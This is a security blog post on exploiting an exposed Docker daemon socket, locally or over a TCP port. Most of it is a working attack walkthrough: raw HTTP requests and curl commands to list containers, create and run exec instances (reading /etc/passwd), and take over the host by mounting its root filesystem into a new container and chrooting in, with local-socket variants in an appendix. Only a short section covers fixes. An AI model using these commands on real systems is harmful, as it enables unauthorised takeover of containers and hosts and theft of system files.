By default, when the docker
command is executed on a host, an API call to the docker daemon is made via a non-networked UNIX socket located at /var/run/docker.sock
. This socket file is the main API to control any of the docker containers running on that host. However, many containers and guides require you to expose this socket file as a volume within a container[1][2][3][4][5][6] or in some cases, expose it on a TCP port[1][2][3]. Docker containers that expose /var/run/docker.sock
, locally or remotely, could lead to a full environment take over.
I've already found a large number of servers that expose docker.sock to the internet.
This vulnerability isn't a new idea, the danger of exposing the docker.sock
file have been talked about before. However, my post will expand on the issue, explain how to take advantage of it, and what you can do to fix it. If you follow me on twitter I'll share a script soon that I made to make exploiting this even easier.
What can you do with it?
Exploiting a exposed docker.sock file allows you to do pretty much anything you want with any of the containers that run on the host. Access to the docker.sock
file, locally or remotely, allows you to control docker as if you were on the host itself running docker commands.
The simplest example of this is exploiting access to the docker.sock
file via the official docker client. This can occur if you happen to get access to a container with the docker client already installed or if you have the ability to install the docker client. To exploit this, you can simply run regular docker commands including exec to get shell:
root@9e50daaea94f:/# ls -alh /var/run/docker.sock #checking if socket is availible
srw-rw---- 1 root 999 0 Apr 4 02:00 /var/run/docker.sock
root@9e50daaea94f:/# hostname
9e50daaea94f
root@9e50daaea94f:/# docker container ls
CONTAINER ID NAMES
509eebf873fb another_container
9e50daaea94f current_container
root@9e50daaea94f:/# docker exec -it another_container bash #running bash on the other container
root@509eebf873fb:/# hostname
509eebf873fb
However, to run this, you have to already have RCE on a container. Even with RCE, most of the time you will not have access to a docker client and installing a docker client might not be possible. If this is the case, you can make raw http requests to /var/run/docker.sock
.
While it is possible to exploit a docker environment with RCE on a docker container by making HTTP requests to the docker.sock
file, it is an unlikely situation. The more likely situation is finding the docker.sock
file exposed remotely via a TCP Port. In my examples on how to exploit this misconfiguration, I'll post the raw HTTP request and curl commands for remote exploitation. I'll have an appendix section that will list the equivalent curl commands to run for exploiting local environments.
If you need to run any commands that I don't list below, the docker API is very well documented
Click here if you want to follow along. This is a CloudFormation script. You will need to have an AWS account with permissions to start a new EC2 instance. Don't forget to delete the stack after you are done!
Getting RCE on a Container
1) List all containers
The first step is to get a list of all containers on the host. To do this, the following http request will need to be executed:
GET /containers/json HTTP/1.1
Host: <docker_host>:PORT
Curl command:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
Expected response:
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780
[
{
"Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
"Names":["/another_container"],
"Image":"ubuntu:latest",
"ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
"Command":"bash",
"Created":1554357359,
"Ports":[],
"Labels":{},
"State":"running",
"Status":"Up 3 seconds",
"HostConfig":{"NetworkMode":"default"},
"NetworkSettings":{"Networks":
...
From the response take note of the "Id" field as the next commands will use them.
2) Create an exec
Next, we will need to create a "exec" instance that will be executed on the container. This is where you will input the command you want to run.
The following items in the request will need to be changed in the request:
- Container ID
- Docker Host
- Port
- Cmd (my example will cat out /etc/passwd)
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}
Curl command:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
Expected Response:
HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74
{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
From the response take note of the "Id" field as the next commands will use them.
3) Start the exec
Now that the "exec" is created, we need to run it.
The following items in the request will need to be changed:
- Exec ID (from the last command)
- Docker Host
- Port
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
}
Curl command:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Seeing the nice delimited format of /etc/passwd
is beautiful, isn't it? Well I'm sure to the people who are vulnerable it isn't but to us, it is.
Bonus: Take over the host
Starting a docker container with the root of the host mounted to a volume on the container will allow commands to be executed against the host's filesystem. Since the vulnerability discussed in this post allows you to have full control of the API, it is possible to take control of the docker host. I won't get into the crazy details, but here are the curl commands to do this:
Note: don't forget to change the dockerhost, port, and containerID (where applicable)
1) Download the ubuntu image
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2) Create the container with the mounted volume
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
3) Start the container
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
From here, use the code execution vulnerability discussed above to run commands against the new container. Don't forget to add chroot /hostos
if you want to run the command against the Host OS.
How do I fix this?
Avoid making docker.sock available remotely or at the container level at all costs (If possible).
Follow this if you absolutely need to make the socket file remotely available
Set up proper security groups and firewall rules to block access from IPs that do not need access.
Appendix
Local Commands
Here is a list of curl commands to run if the API is not available remotely but is available locally.
1) List all containers
sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \
http://localhost/containers/json
2) Create an exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/<container_id>/exec
3) Start the exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/exec/<exec_id>/start
Sock Icon made by Freepik from www.flaticon.com is licensed by CC 3.0 BY
Comments